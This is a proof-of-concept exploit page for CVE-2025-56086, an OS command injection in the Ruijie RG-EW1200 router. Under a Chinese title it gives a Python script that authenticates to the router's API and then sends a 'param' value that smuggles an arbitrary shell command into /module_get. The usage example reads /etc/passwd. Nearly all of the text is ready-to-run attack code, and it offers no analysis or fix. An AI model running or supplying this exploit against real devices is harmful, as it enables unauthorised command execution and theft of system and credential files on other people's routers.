CVE-2025-56086 锐捷RG-EW1200路由器OS命令注入漏洞

import requests import sys # CVE-2025-56086 PoC - Ruijie RG-EW1200 OS Command Injection # Target: Ruijie RG-EW1200 Router # Vulnerability: OS Command Injection in /module_get endpoint # Affected: EW_3.0(1)B11P227 and earlier versions def exploit(target_ip, username, password, command): """ Exploit OS Command Injection in Ruijie RG-EW1200 Args: target_ip: Target router IP address username: Valid username for authentication password: Valid password for authentication command: Command to execute on the target system """ # Login to get session login_url = f"http://{target_ip}/cgi-bin/luci/api/login" login_data = { "username": username, "password": password } try: # Step 1: Authenticate session = requests.Session() login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Authentication failed") return False # Step 2: Send malicious request with command injection exploit_url = f"http://{target_ip}/cgi-bin/luci/module_get" # Inject OS command using semicolon separator # Example: ; cat /etc/passwd # payload = { "module": "networkConnect", "action": "connect", "param": f"'; {command} #" } response = session.post(exploit_url, data=payload, timeout=10) print(f"[+] Exploit sent successfully") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password> <command>") print(f"Example: python {sys.argv[0]} 192.168.1.1 admin admin 'cat /etc/passwd'") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] print(f"[*] CVE-2025-56086 PoC for Ruijie RG-EW1200") print(f"[*] Target: {target_ip}") print(f"[*] Command: {command}") exploit(target_ip, username, password, command)